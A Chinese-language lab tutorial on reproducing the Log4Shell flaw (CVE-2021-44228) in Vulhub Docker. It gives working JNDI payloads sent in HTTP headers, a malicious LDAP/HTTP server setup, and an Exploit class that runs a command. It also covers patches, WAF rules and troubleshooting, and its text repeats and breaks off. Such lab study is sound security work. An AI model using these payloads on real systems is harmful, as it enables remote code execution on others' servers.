1. 项目概述为什么我们要亲手复现Log4j2漏洞去年年底安全圈被一个代号为“Log4Shell”的漏洞彻底点燃了。它的正式编号是CVE-2021-44228影响的是Java生态中几乎无处不在的日志组件Apache Log4j2。这个漏洞的威力在于攻击者无需任何认证只需要让目标应用记录一条精心构造的日志就能在服务器上执行任意代码。一时间从大型互联网公司到个人开发者项目全球数百万计的应用都拉响了警报。你可能在新闻里看过很多分析也了解它的严重性评级是“危重”的10.0分。但安全研究尤其是漏洞研究最忌讳的就是“纸上谈兵”。看一百篇分析报告不如自己动手搭建环境、触发一次漏洞来得深刻。复现漏洞不仅能帮你真正理解其触发原理和利用链条更是构建你个人漏洞分析、应急响应乃至代码审计能力的基石。今天我们就用最受安全研究者欢迎的Vulhub靶场环境来完整地走一遍CVE-2021-44228的复现流程。Vulhub提供了一键化的漏洞环境能让我们快速聚焦于漏洞本身而不是浪费在繁琐的环境搭建上。整个过程我会带你从零开始看到漏洞如何被触发并最终拿到服务器的命令执行权限。准备好了吗我们这就开始。2. 环境准备与Vulhub靶场搭建工欲善其事必先利其器。一个稳定、隔离的测试环境是安全研究的首要前提。我们选择Vulhub是因为它将数百个漏洞环境做成了Docker Compose项目无需复杂的配置几条命令就能拉起一个完整的、包含漏洞的靶机。2.1 基础系统与依赖安装首先你需要一台Linux机器作为实验主机。我强烈推荐使用Ubuntu 20.04 LTS或更新版本或者Kali Linux它们在包管理和工具链上对安全研究非常友好。物理机、虚拟机如VMware、VirtualBox或云服务器都可以。核心依赖只有两个Docker和Docker Compose。Docker负责创建隔离的容器环境而Docker Compose则用于定义和运行多容器的Vulhub应用。安装Docker对于Ubuntu/Debian系系统官方的一键安装脚本是最快最稳的方式。打开终端执行以下命令curl -fsSL https://get.docker.com -o get-docker.sh sudo sh get-docker.sh安装完成后将当前用户加入docker组这样以后就不用每次都加sudo了sudo usermod -aG docker $USER重要提示执行完上述命令后你需要完全退出当前终端会话并重新登录或者重启系统用户组的变更才会生效。否则你会遇到“权限被拒绝”的错误。验证安装docker --version和docker run hello-world如果能看到版本信息和欢迎提示说明Docker安装成功。安装Docker Compose同样推荐使用官方脚本安装最新稳定版sudo curl -L https://github.com/docker/compose/releases/latest/download/docker-compose-$(uname -s)-$(uname -m) -o /usr/local/bin/docker-compose sudo chmod x /usr/local/bin/docker-compose验证docker-compose --version。注意国内服务器如果访问GitHub速度慢可以使用国内镜像源。例如安装Docker时可以使用阿里云的镜像脚本安装Docker Compose时可以从DaoCloud镜像下载。2.2 获取与启动Vulhub的Log4j2环境Vulhub的项目托管在GitHub上。我们将其克隆到本地git clone https://github.com/vulhub/vulhub.git cd vulhub项目目录下按漏洞分类组织了数百个环境。我们要找的Log4j2漏洞位于log4j/CVE-2021-44228目录。cd log4j/CVE-2021-44228现在使用Docker Compose一键构建并启动漏洞环境docker-compose up -d这个命令会执行以下操作读取当前目录下的docker-compose.yml配置文件。从Docker Hub拉取预先构建好的漏洞应用镜像如果本地没有。根据配置创建并启动容器。-d参数代表“后台运行”。执行成功后你会看到类似Creating vulhub_log4j2_1 ... done的提示。如何确认环境已成功启动使用docker-compose ps命令查看容器状态是否为Up。使用docker-compose logs可以查看容器的启动日志确认应用没有报错。Vulhub的Log4j2环境通常会启动一个简单的Spring Boot Web应用它内部使用了存在漏洞的Log4j2版本通常是2.14.1或更低。这个应用会监听在宿主机的某个端口上比如8080等待我们的攻击。实操心得第一次拉取镜像可能会比较慢取决于你的网络。耐心等待即可。如果遇到端口冲突比如你本机的8080端口已被占用可以去修改docker-compose.yml文件将ports映射项如8080:8080的前一个端口号改为其他空闲端口例如8088:8080然后重新运行docker-compose up -d。3. 漏洞原理深度解析JNDI注入与Log4j2的“罪与罚”在动手复现之前我们必须搞清楚这个漏洞到底是怎么一回事。知其然更要知其所以然。这不仅能帮你理解后续的每一步操作更能让你在未来的代码审计或安全开发中一眼识别出类似的危险模式。3.1 Log4j2的“ lookup ”功能与消息格式化Log4j2是一个功能强大的日志框架它支持在日志消息中动态插入一些上下文信息。这个功能的核心是“Lookup”格式是${prefix:name}。例如${java:runtime}可以插入Java运行时信息。${env:USER}可以插入系统环境变量USER的值。${date:yyyy-MM-dd}可以插入当前日期。这个设计的初衷是为了让日志内容更丰富、更有价值。问题出在其中一个Lookup实现JNDI Lookup。JNDIJava Naming and Directory Interface是Java的一个API用于访问各种命名和目录服务比如LDAP、RMI、DNS等。Log4j2支持通过${jndi:ldap://evil.com/obj}这样的语法在记录日志时去远程服务器查找并加载对象。3.2 漏洞触发链条从日志记录到远程代码执行漏洞的完整攻击链条Attack Chain可以概括为以下几步输入注入攻击者找到一个可以向应用输入数据的地方并且这个输入最终会被Log4j2记录到日志中。这太常见了HTTP请求头如User-Agent、X-Forwarded-For、请求参数、表单数据、甚至Cookie。例如攻击者在浏览器的搜索框里输入${jndi:ldap://attacker.com/a}。日志记录应用程序在处理这个请求时毫无戒备地将这个包含${jndi:...}的字符串记录到了日志文件里。Log4j2在格式化这条日志消息时会识别出${}结构。JNDI解析Log4j2发现这是jndilookup于是它按照这个URLldap://attacker.com/a去连接攻击者控制的LDAP服务器。恶意代码加载攻击者的LDAP服务器返回一个响应这个响应指向另一个HTTP服务器上的一个Java类文件.class。这个类文件是攻击者事先准备好的恶意代码。类加载与执行存在漏洞的Log4j2在特定Java版本下会默认信任并加载这个远程的Java类然后实例化它。攻击者的恶意代码例如一个构造方法里写了Runtime.getRuntime().exec(calc.exe)就在受害服务器上执行了。关键点在于这个过程中应用本身可能没有任何代码去主动调用JNDI或者加载远程类。是Log4j2这个底层日志库在“尽职尽责”地解析日志消息时自动完成了整个攻击链。这使得漏洞极其隐蔽影响面巨大。3.3 为什么Vulhub环境是完美的复现场景Vulhub提供的环境模拟了一个最简单的Web应用。它可能只有一个功能将用户输入的某个参数比如HTTP请求中的X-Api-Version头记录下来。这个应用本身没有任何业务逻辑漏洞但它使用了有漏洞的Log4j2版本。这就精准地还原了漏洞爆发的经典场景——一个看似无害的日志记录点成了攻击者长驱直入的大门。通过复现它你能最直观地看到漏洞的“入口”和“出口”。4. 攻击工具准备搭建LDAP恶意服务器与Web服务要成功复现我们需要模拟攻击者的基础设施。主要是两个服务一个恶意的LDAP引用服务器用于响应目标Log4j2的JNDI查询并告诉它“嘿你要的类在那个HTTP服务器上去那里下载吧。”一个简单的HTTP文件服务器用于托管我们构造的恶意Java类文件当目标服务器根据LDAP的指引过来请求时提供这个类文件。我们将使用一个非常强大的工具marshalsec。它最初是一个用于研究Java反序列化漏洞的工具集其中包含了一个方便启动恶意JNDI/LDAP服务器的功能。4.1 编译marshalsec由于marshalsec是一个Java项目我们需要先编译它。确保你的实验主机上安装了Java开发环境JDK 8或11和Maven。# 安装JDK和Maven (以Ubuntu为例) sudo apt update sudo apt install openjdk-11-jdk-headless maven -y # 克隆marshalsec项目 git clone https://github.com/mbechler/marshalsec.git cd marshalsec # 使用Maven进行编译。这个过程会下载依赖可能需要一些时间。 mvn clean package -DskipTests编译成功后你会在target目录下找到marshalsec-0.0.3-SNAPSHOT-all.jar文件。这个JAR包就是我们需要的工具。4.2 构造恶意Java类接下来我们需要创建一个会在目标服务器上执行的恶意Java类。为了演示且避免破坏我们通常执行一个无害的命令比如弹出一个计算器在Linux上是打开一个简单的文本编辑器xcalc但服务器通常没有GUI或者更通用一点执行一条能明显看到效果的命令例如向/tmp目录写入一个文件或者发起一个网络请求到我们可控的服务器。这里我们创建一个名为Exploit.java的文件public class Exploit { public Exploit() { try { // 这是一个无害的POC在/tmp目录下创建一个文件证明代码执行了。 // 在实际渗透测试中这里可以替换为反弹Shell等命令。 String[] cmd {touch, /tmp/pwned_by_log4j}; java.lang.Runtime.getRuntime().exec(cmd).waitFor(); } catch (Exception e) { e.printStackTrace(); } } }这个类的构造方法里会执行touch /tmp/pwned_by_log4j命令在服务器的/tmp目录下创建一个名为pwned_by_log4j的空文件。这是一个非常清晰的成功执行标志。编译这个类javac Exploit.java编译后会生成Exploit.class文件。将这个.class文件放到一个单独的目录我们稍后要用HTTP服务把它暴露出去。4.3 启动攻击服务现在我们打开两个终端窗口。终端1启动HTTP服务托管恶意类文件。进入存放Exploit.class的目录使用Python快速启动一个HTTP服务器# 在Exploit.class所在目录执行 python3 -m http.server 8888这个命令会在本机的8888端口启动一个简单的HTTP服务目录下的所有文件都可以通过http://你的IP:8888/文件名来访问。终端2启动恶意的LDAP引用服务器。进入之前编译好marshalsec.jar的目录执行以下命令java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://你的攻击机IP:8888/#Exploit解释一下这个命令-cp指定类路径即我们的JAR包。marshalsec.jndi.LDAPRefServer启动LDAP引用服务器的主类。http://你的攻击机IP:8888/#Exploit这是最重要的参数。它告诉LDAP服务器当有客户端即受害的Log4j2来查询时就返回一个指向这个HTTP地址的引用并且指定的类名是Exploit。#号后面的Exploit就是类名。请务必将你的攻击机IP替换为你运行这些服务的Linux主机的真实IP地址可以使用ip addr或ifconfig命令查看。如果靶场和攻击工具都在同一台物理机的不同Docker容器或本机运行可以使用宿主机的IP或者使用Docker的内部网络IP通常比较复杂。对于Vulhub环境最简单的方式是让靶场映射到宿主机的某个端口如8080然后攻击服务也运行在宿主机上使用宿主机的IP。LDAP服务器默认监听在1389端口。看到Listening on 0.0.0.0:1389的提示说明服务启动成功。至此我们的“攻击阵地”就搭建完毕了。LDAP服务器在1389端口严阵以待HTTP服务器在8888端口准备好了“弹药”Exploit.class。5. 漏洞复现实操触发、利用与验证一切准备就绪现在是见证“魔法”的时刻。我们将向存在漏洞的Vulhub应用发送一个包含恶意Payload的HTTP请求触发整个漏洞链。5.1 构造并发送攻击Payload我们的目标是Vulhub启动的Web应用。首先我们需要知道它的访问地址。如果按照默认配置且没有修改端口映射它应该运行在http://localhost:8080。你可以用浏览器访问一下或者用curl命令测试curl -I http://localhost:8080能看到HTTP 200或404等响应即可说明服务是活的。关键的一步来了我们需要找到一个会被Log4j2记录下来的输入点。Vulhub的漏洞环境通常设计得非常直接它会将HTTP请求中的User-Agent头或者X-Api-Version头等内容记录到日志。我们就从这里入手。使用curl命令发送一个携带恶意JNDI Payload的请求curl -H User-Agent: \${jndi:ldap://你的攻击机IP:1389/Exploit} http://localhost:8080或者尝试其他常见的头部curl -H X-Api-Version: \${jndi:ldap://你的攻击机IP:1389/Exploit} http://localhost:8080Payload详解\${jndi:ldap://你的攻击机IP:1389/Exploit}这就是攻击字符串。jndi:指明使用JNDI Lookup。ldap://指定使用LDAP协议。后面跟着我们启动的恶意LDAP服务器的地址和端口。最后的/Exploit是LDAP查询的路径它需要和启动LDAP服务器时指定的类名Exploit对应。重要注意事项在Bash命令行中$符号有特殊含义变量引用。为了避免Bash先解析它我们需要在$前加上反斜杠\进行转义即写成\${jndi:...}。如果你在Burp Suite、Postman等图形化工具中发送请求则直接使用${jndi:ldap://...}即可。5.2 观察攻击链触发过程当你发送上述请求后立即回头去看运行着LDAP服务器和HTTP服务器的两个终端窗口你会看到一连串的访问日志这就是漏洞触发的证据在LDAP服务器终端你会看到类似下面的连接记录Send LDAP reference result for Exploit redirecting to http://你的攻击机IP:8888/Exploit.class这表示存在漏洞的应用客户端连接到了你的LDAP服务器1389端口询问“Exploit”是什么。你的LDAP服务器回答说“去http://你的攻击机IP:8888/Exploit.class找这个类吧。”在HTTP服务器终端紧接着你会看到一条GET请求日志你的靶机IP - - [日期时间] GET /Exploit.class HTTP/1.1 200 -这表示存在漏洞的应用听从了LDAP服务器的指引又向你的HTTP服务器8888端口发起了请求下载了Exploit.class这个恶意类文件。这个过程清晰地展示了漏洞的完整链条Web请求 - 日志记录 - Log4j2解析JNDI - 查询外部LDAP - 加载远程HTTP上的类。5.3 验证漏洞利用成功攻击是否最终成功取决于恶意类是否被加载并执行。我们之前构造的Exploit.class会在目标服务器的/tmp目录下创建一个文件。现在我们需要进入运行着漏洞应用的Docker容器内部检查这个文件是否被创建。# 首先查看当前目录下运行的容器ID或名称 docker-compose ps # 假设容器名是 vulhub_log4j2_1进入容器的shell docker exec -it vulhub_log4j2_1 /bin/bash # 进入容器后检查/tmp目录 ls -la /tmp/如果你在/tmp目录下看到了pwned_by_log4j这个文件那么恭喜你你已成功复现了CVE-2021-44228漏洞并实现了远程代码执行RCE。退出容器输入exit即可。这个创建文件的操作证明了攻击者可以在你的服务器上执行任意系统命令。在实际攻击中攻击者完全可以替换成下载木马、植入挖矿程序、窃取数据、反弹Shell建立持久化控制等恶意操作。6. 漏洞修复与缓解措施分析成功复现漏洞让我们感受到了它的威力但更重要的是我们要知道如何防御它。作为开发者或运维人员了解修复方案是必须的。6.1 根本解决方案升级Log4j2Apache官方发布了多个安全版本修复此漏洞最彻底的解决方案是升级到不受影响的版本Log4j 2.17.1(Java 8)Log4j 2.12.4(Java 7)Log4j 2.3.2(Java 6)对于使用Maven的项目在pom.xml中修改Log4j2的版本号即可properties log4j2.version2.17.1/log4j2.version /properties ... dependency groupIdorg.apache.logging.log4j/groupId artifactIdlog4j-core/artifactId version${log4j2.version}/version /dependency dependency groupIdorg.apache.logging.log4j/groupId artifactIdlog4j-api/artifactId version${log4j2.version}/version /dependency升级后Log4j2默认禁用了JNDI Lookup功能并从2.16.0版本开始默认只允许本地JNDI数据源彻底堵死了漏洞。6.2 临时缓解措施如果因为某些原因无法立即升级可以采用以下缓解方案但这些方案可能存在被绕过或影响功能的风险仅作为临时手段修改JVM参数最推荐、影响最小的临时方案 在启动应用的JVM参数中添加-Dlog4j2.formatMsgNoLookupstrue这个参数从Log4j2 2.10.0版本开始引入可以全局关闭Lookup功能。对于2.0-beta9到2.10.0之间的版本有效。移除易受攻击的类简单粗暴 找到Log4j2的核心JAR包如log4j-core-*.jar删除其中与JNDI Lookup相关的类zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class此方法可能因Log4j2内部调用而导致未知错误需充分测试。设置系统环境变量LOG4J_FORMAT_MSG_NO_LOOKUPStrue其原理与JVM参数类似但需要应用支持从环境变量读取此配置。使用WAF/防火墙进行流量过滤 在网络边界部署WAFWeb应用防火墙配置规则拦截所有包含${jndi:、${ldap:、${rmi:等模式的请求。这是一种外部防护不能修复应用本身。6.3 安全开发建议从这次事件中我们可以吸取以下教训依赖管理至关重要定期使用工具如OWASP Dependency-Check、GitHub Dependabot扫描项目依赖及时更新存在已知漏洞的组件。最小化攻击面非必要不启用危险功能。像JNDI Lookup这种高风险特性在绝大多数业务场景下都是不必要的。输入过滤与输出编码对所有外部输入保持警惕即使是要写入日志的内容也应考虑进行适当的过滤或编码。但请注意完全依赖输入过滤来防御此类漏洞是非常困难的因为触发点可能非常多。深度防御结合网络隔离、权限最小化应用程序以低权限用户运行、完善的监控告警如检测异常子进程创建、对外网络连接等多层安全措施。7. 复现过程中的常见问题与排查技巧即使是按照步骤操作你也可能会遇到一些问题。这里我总结了一些常见的坑和排查思路。7.1 问题速查表问题现象可能原因排查步骤与解决方案docker-compose up失败提示端口占用宿主机端口已被其他程序占用1. 使用netstat -tulnp | grep :端口号查看占用进程。2. 修改docker-compose.yml中的端口映射如将8080:8080改为8088:8080。发送Payload后LDAP/HTTP服务器无任何连接日志1. Payload未触发日志记录点。2. 网络不通。3. Payload格式错误。1. 尝试其他HTTP头部如X-Forwarded-For,Referer, 或GET/POST参数。2. 检查攻击机IP是否正确确保靶场容器能访问到宿主机的IP可尝试在容器内ping或curl攻击机。3. 检查Payload中的$是否在命令行中正确转义加\或直接使用Burp Suite发送。LDAP服务器有连接但HTTP服务器无请求1. Java版本较高8u191默认禁用了远程类加载。2. 恶意类编译的Java版本与靶场环境不兼容。1.这是最常见的原因Vulhub环境可能使用了高版本JDK。检查容器内Java版本docker exec 容器名 java -version。高版本JDK默认信任范围有限需使用其他绕过方式如利用本地ClassPath中的类。2. 确保javac编译版本与靶场Java版本一致或更低。HTTP服务器收到请求但返回404HTTP服务启动目录不对Exploit.class文件不在当前目录。确认启动Python HTTP服务器的目录下存在Exploit.class文件。进入容器后/tmp/pwned_by_log4j文件不存在1. 漏洞未成功触发原因同上。2. 命令执行失败如权限问题。3. 容器文件系统是临时的。1. 系统回顾攻击链日志确认每一步都走通了。2. 在恶意类中尝试更简单的命令如echo test /tmp/test。3. 检查容器内是否有写/tmp的权限。使用curl发送Payload时$被bash解析在命令行中未对$进行转义。在$前加反斜杠即使用\${jndi:...}。或在Payload前后使用单引号包裹。7.2 高阶技巧与深度排查如果遇到Java高版本8u191, 11.0.1导致的利用失败说明默认的LDAP远程加载类被限制了。此时可以尝试以下方法利用本地ClassPath中的类进行绕过这是更可靠的复现方式。思路是让JNDI引用指向目标服务器本身ClassPath中已有的、具有危险方法的类例如org.apache.naming.factory.BeanFactory结合EL表达式处理器。这需要更复杂的Payload构造通常借助如ysoserial等工具生成。这属于漏洞利用的深入技巧在初步复现时可以暂时通过调整Vulhub环境使用的Docker镜像将其基础Java版本降级到8u191以下例如openjdk:8u102-jre来简化实验。深入查看应用日志进入漏洞应用容器直接查看其输出的日志文件看看Log4j2是否记录了你发送的Payload以及是否有错误信息。docker exec -it vulhub_log4j2_1 /bin/bash # 通常Spring Boot应用日志在控制台或 /var/log/ 下具体看Dockerfile或启动脚本 # 可以尝试查找 .log 文件或使用 find 命令 tail -f /path/to/application.log在另一个终端发送Payload观察日志输出看是否有异常栈信息这能提供最直接的线索。使用网络抓包分析在攻击机或宿主机上使用tcpdump或Wireshark抓包过滤端口1389和8888可以清晰地看到LDAP和HTTP协议的通信过程确认数据包是否按预期发送和接收。复现漏洞的过程本质上是一个调试和验证的过程。遇到问题时耐心地、一步一步地检查每个环节的状态网络、服务、日志、文件是安全研究员必备的素质。通过这次完整的CVE-2021-44228复现你不仅掌握了一个具体漏洞的利用方法更搭建起了一套属于自己的漏洞研究基础环境和方法论。这才是本次实践最大的价值。
Log4j2漏洞复现:从JNDI注入原理到实战RCE利用
发布时间:2026/6/20 0:46:04
1. 项目概述为什么我们要亲手复现Log4j2漏洞去年年底安全圈被一个代号为“Log4Shell”的漏洞彻底点燃了。它的正式编号是CVE-2021-44228影响的是Java生态中几乎无处不在的日志组件Apache Log4j2。这个漏洞的威力在于攻击者无需任何认证只需要让目标应用记录一条精心构造的日志就能在服务器上执行任意代码。一时间从大型互联网公司到个人开发者项目全球数百万计的应用都拉响了警报。你可能在新闻里看过很多分析也了解它的严重性评级是“危重”的10.0分。但安全研究尤其是漏洞研究最忌讳的就是“纸上谈兵”。看一百篇分析报告不如自己动手搭建环境、触发一次漏洞来得深刻。复现漏洞不仅能帮你真正理解其触发原理和利用链条更是构建你个人漏洞分析、应急响应乃至代码审计能力的基石。今天我们就用最受安全研究者欢迎的Vulhub靶场环境来完整地走一遍CVE-2021-44228的复现流程。Vulhub提供了一键化的漏洞环境能让我们快速聚焦于漏洞本身而不是浪费在繁琐的环境搭建上。整个过程我会带你从零开始看到漏洞如何被触发并最终拿到服务器的命令执行权限。准备好了吗我们这就开始。2. 环境准备与Vulhub靶场搭建工欲善其事必先利其器。一个稳定、隔离的测试环境是安全研究的首要前提。我们选择Vulhub是因为它将数百个漏洞环境做成了Docker Compose项目无需复杂的配置几条命令就能拉起一个完整的、包含漏洞的靶机。2.1 基础系统与依赖安装首先你需要一台Linux机器作为实验主机。我强烈推荐使用Ubuntu 20.04 LTS或更新版本或者Kali Linux它们在包管理和工具链上对安全研究非常友好。物理机、虚拟机如VMware、VirtualBox或云服务器都可以。核心依赖只有两个Docker和Docker Compose。Docker负责创建隔离的容器环境而Docker Compose则用于定义和运行多容器的Vulhub应用。安装Docker对于Ubuntu/Debian系系统官方的一键安装脚本是最快最稳的方式。打开终端执行以下命令curl -fsSL https://get.docker.com -o get-docker.sh sudo sh get-docker.sh安装完成后将当前用户加入docker组这样以后就不用每次都加sudo了sudo usermod -aG docker $USER重要提示执行完上述命令后你需要完全退出当前终端会话并重新登录或者重启系统用户组的变更才会生效。否则你会遇到“权限被拒绝”的错误。验证安装docker --version和docker run hello-world如果能看到版本信息和欢迎提示说明Docker安装成功。安装Docker Compose同样推荐使用官方脚本安装最新稳定版sudo curl -L https://github.com/docker/compose/releases/latest/download/docker-compose-$(uname -s)-$(uname -m) -o /usr/local/bin/docker-compose sudo chmod x /usr/local/bin/docker-compose验证docker-compose --version。注意国内服务器如果访问GitHub速度慢可以使用国内镜像源。例如安装Docker时可以使用阿里云的镜像脚本安装Docker Compose时可以从DaoCloud镜像下载。2.2 获取与启动Vulhub的Log4j2环境Vulhub的项目托管在GitHub上。我们将其克隆到本地git clone https://github.com/vulhub/vulhub.git cd vulhub项目目录下按漏洞分类组织了数百个环境。我们要找的Log4j2漏洞位于log4j/CVE-2021-44228目录。cd log4j/CVE-2021-44228现在使用Docker Compose一键构建并启动漏洞环境docker-compose up -d这个命令会执行以下操作读取当前目录下的docker-compose.yml配置文件。从Docker Hub拉取预先构建好的漏洞应用镜像如果本地没有。根据配置创建并启动容器。-d参数代表“后台运行”。执行成功后你会看到类似Creating vulhub_log4j2_1 ... done的提示。如何确认环境已成功启动使用docker-compose ps命令查看容器状态是否为Up。使用docker-compose logs可以查看容器的启动日志确认应用没有报错。Vulhub的Log4j2环境通常会启动一个简单的Spring Boot Web应用它内部使用了存在漏洞的Log4j2版本通常是2.14.1或更低。这个应用会监听在宿主机的某个端口上比如8080等待我们的攻击。实操心得第一次拉取镜像可能会比较慢取决于你的网络。耐心等待即可。如果遇到端口冲突比如你本机的8080端口已被占用可以去修改docker-compose.yml文件将ports映射项如8080:8080的前一个端口号改为其他空闲端口例如8088:8080然后重新运行docker-compose up -d。3. 漏洞原理深度解析JNDI注入与Log4j2的“罪与罚”在动手复现之前我们必须搞清楚这个漏洞到底是怎么一回事。知其然更要知其所以然。这不仅能帮你理解后续的每一步操作更能让你在未来的代码审计或安全开发中一眼识别出类似的危险模式。3.1 Log4j2的“ lookup ”功能与消息格式化Log4j2是一个功能强大的日志框架它支持在日志消息中动态插入一些上下文信息。这个功能的核心是“Lookup”格式是${prefix:name}。例如${java:runtime}可以插入Java运行时信息。${env:USER}可以插入系统环境变量USER的值。${date:yyyy-MM-dd}可以插入当前日期。这个设计的初衷是为了让日志内容更丰富、更有价值。问题出在其中一个Lookup实现JNDI Lookup。JNDIJava Naming and Directory Interface是Java的一个API用于访问各种命名和目录服务比如LDAP、RMI、DNS等。Log4j2支持通过${jndi:ldap://evil.com/obj}这样的语法在记录日志时去远程服务器查找并加载对象。3.2 漏洞触发链条从日志记录到远程代码执行漏洞的完整攻击链条Attack Chain可以概括为以下几步输入注入攻击者找到一个可以向应用输入数据的地方并且这个输入最终会被Log4j2记录到日志中。这太常见了HTTP请求头如User-Agent、X-Forwarded-For、请求参数、表单数据、甚至Cookie。例如攻击者在浏览器的搜索框里输入${jndi:ldap://attacker.com/a}。日志记录应用程序在处理这个请求时毫无戒备地将这个包含${jndi:...}的字符串记录到了日志文件里。Log4j2在格式化这条日志消息时会识别出${}结构。JNDI解析Log4j2发现这是jndilookup于是它按照这个URLldap://attacker.com/a去连接攻击者控制的LDAP服务器。恶意代码加载攻击者的LDAP服务器返回一个响应这个响应指向另一个HTTP服务器上的一个Java类文件.class。这个类文件是攻击者事先准备好的恶意代码。类加载与执行存在漏洞的Log4j2在特定Java版本下会默认信任并加载这个远程的Java类然后实例化它。攻击者的恶意代码例如一个构造方法里写了Runtime.getRuntime().exec(calc.exe)就在受害服务器上执行了。关键点在于这个过程中应用本身可能没有任何代码去主动调用JNDI或者加载远程类。是Log4j2这个底层日志库在“尽职尽责”地解析日志消息时自动完成了整个攻击链。这使得漏洞极其隐蔽影响面巨大。3.3 为什么Vulhub环境是完美的复现场景Vulhub提供的环境模拟了一个最简单的Web应用。它可能只有一个功能将用户输入的某个参数比如HTTP请求中的X-Api-Version头记录下来。这个应用本身没有任何业务逻辑漏洞但它使用了有漏洞的Log4j2版本。这就精准地还原了漏洞爆发的经典场景——一个看似无害的日志记录点成了攻击者长驱直入的大门。通过复现它你能最直观地看到漏洞的“入口”和“出口”。4. 攻击工具准备搭建LDAP恶意服务器与Web服务要成功复现我们需要模拟攻击者的基础设施。主要是两个服务一个恶意的LDAP引用服务器用于响应目标Log4j2的JNDI查询并告诉它“嘿你要的类在那个HTTP服务器上去那里下载吧。”一个简单的HTTP文件服务器用于托管我们构造的恶意Java类文件当目标服务器根据LDAP的指引过来请求时提供这个类文件。我们将使用一个非常强大的工具marshalsec。它最初是一个用于研究Java反序列化漏洞的工具集其中包含了一个方便启动恶意JNDI/LDAP服务器的功能。4.1 编译marshalsec由于marshalsec是一个Java项目我们需要先编译它。确保你的实验主机上安装了Java开发环境JDK 8或11和Maven。# 安装JDK和Maven (以Ubuntu为例) sudo apt update sudo apt install openjdk-11-jdk-headless maven -y # 克隆marshalsec项目 git clone https://github.com/mbechler/marshalsec.git cd marshalsec # 使用Maven进行编译。这个过程会下载依赖可能需要一些时间。 mvn clean package -DskipTests编译成功后你会在target目录下找到marshalsec-0.0.3-SNAPSHOT-all.jar文件。这个JAR包就是我们需要的工具。4.2 构造恶意Java类接下来我们需要创建一个会在目标服务器上执行的恶意Java类。为了演示且避免破坏我们通常执行一个无害的命令比如弹出一个计算器在Linux上是打开一个简单的文本编辑器xcalc但服务器通常没有GUI或者更通用一点执行一条能明显看到效果的命令例如向/tmp目录写入一个文件或者发起一个网络请求到我们可控的服务器。这里我们创建一个名为Exploit.java的文件public class Exploit { public Exploit() { try { // 这是一个无害的POC在/tmp目录下创建一个文件证明代码执行了。 // 在实际渗透测试中这里可以替换为反弹Shell等命令。 String[] cmd {touch, /tmp/pwned_by_log4j}; java.lang.Runtime.getRuntime().exec(cmd).waitFor(); } catch (Exception e) { e.printStackTrace(); } } }这个类的构造方法里会执行touch /tmp/pwned_by_log4j命令在服务器的/tmp目录下创建一个名为pwned_by_log4j的空文件。这是一个非常清晰的成功执行标志。编译这个类javac Exploit.java编译后会生成Exploit.class文件。将这个.class文件放到一个单独的目录我们稍后要用HTTP服务把它暴露出去。4.3 启动攻击服务现在我们打开两个终端窗口。终端1启动HTTP服务托管恶意类文件。进入存放Exploit.class的目录使用Python快速启动一个HTTP服务器# 在Exploit.class所在目录执行 python3 -m http.server 8888这个命令会在本机的8888端口启动一个简单的HTTP服务目录下的所有文件都可以通过http://你的IP:8888/文件名来访问。终端2启动恶意的LDAP引用服务器。进入之前编译好marshalsec.jar的目录执行以下命令java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://你的攻击机IP:8888/#Exploit解释一下这个命令-cp指定类路径即我们的JAR包。marshalsec.jndi.LDAPRefServer启动LDAP引用服务器的主类。http://你的攻击机IP:8888/#Exploit这是最重要的参数。它告诉LDAP服务器当有客户端即受害的Log4j2来查询时就返回一个指向这个HTTP地址的引用并且指定的类名是Exploit。#号后面的Exploit就是类名。请务必将你的攻击机IP替换为你运行这些服务的Linux主机的真实IP地址可以使用ip addr或ifconfig命令查看。如果靶场和攻击工具都在同一台物理机的不同Docker容器或本机运行可以使用宿主机的IP或者使用Docker的内部网络IP通常比较复杂。对于Vulhub环境最简单的方式是让靶场映射到宿主机的某个端口如8080然后攻击服务也运行在宿主机上使用宿主机的IP。LDAP服务器默认监听在1389端口。看到Listening on 0.0.0.0:1389的提示说明服务启动成功。至此我们的“攻击阵地”就搭建完毕了。LDAP服务器在1389端口严阵以待HTTP服务器在8888端口准备好了“弹药”Exploit.class。5. 漏洞复现实操触发、利用与验证一切准备就绪现在是见证“魔法”的时刻。我们将向存在漏洞的Vulhub应用发送一个包含恶意Payload的HTTP请求触发整个漏洞链。5.1 构造并发送攻击Payload我们的目标是Vulhub启动的Web应用。首先我们需要知道它的访问地址。如果按照默认配置且没有修改端口映射它应该运行在http://localhost:8080。你可以用浏览器访问一下或者用curl命令测试curl -I http://localhost:8080能看到HTTP 200或404等响应即可说明服务是活的。关键的一步来了我们需要找到一个会被Log4j2记录下来的输入点。Vulhub的漏洞环境通常设计得非常直接它会将HTTP请求中的User-Agent头或者X-Api-Version头等内容记录到日志。我们就从这里入手。使用curl命令发送一个携带恶意JNDI Payload的请求curl -H User-Agent: \${jndi:ldap://你的攻击机IP:1389/Exploit} http://localhost:8080或者尝试其他常见的头部curl -H X-Api-Version: \${jndi:ldap://你的攻击机IP:1389/Exploit} http://localhost:8080Payload详解\${jndi:ldap://你的攻击机IP:1389/Exploit}这就是攻击字符串。jndi:指明使用JNDI Lookup。ldap://指定使用LDAP协议。后面跟着我们启动的恶意LDAP服务器的地址和端口。最后的/Exploit是LDAP查询的路径它需要和启动LDAP服务器时指定的类名Exploit对应。重要注意事项在Bash命令行中$符号有特殊含义变量引用。为了避免Bash先解析它我们需要在$前加上反斜杠\进行转义即写成\${jndi:...}。如果你在Burp Suite、Postman等图形化工具中发送请求则直接使用${jndi:ldap://...}即可。5.2 观察攻击链触发过程当你发送上述请求后立即回头去看运行着LDAP服务器和HTTP服务器的两个终端窗口你会看到一连串的访问日志这就是漏洞触发的证据在LDAP服务器终端你会看到类似下面的连接记录Send LDAP reference result for Exploit redirecting to http://你的攻击机IP:8888/Exploit.class这表示存在漏洞的应用客户端连接到了你的LDAP服务器1389端口询问“Exploit”是什么。你的LDAP服务器回答说“去http://你的攻击机IP:8888/Exploit.class找这个类吧。”在HTTP服务器终端紧接着你会看到一条GET请求日志你的靶机IP - - [日期时间] GET /Exploit.class HTTP/1.1 200 -这表示存在漏洞的应用听从了LDAP服务器的指引又向你的HTTP服务器8888端口发起了请求下载了Exploit.class这个恶意类文件。这个过程清晰地展示了漏洞的完整链条Web请求 - 日志记录 - Log4j2解析JNDI - 查询外部LDAP - 加载远程HTTP上的类。5.3 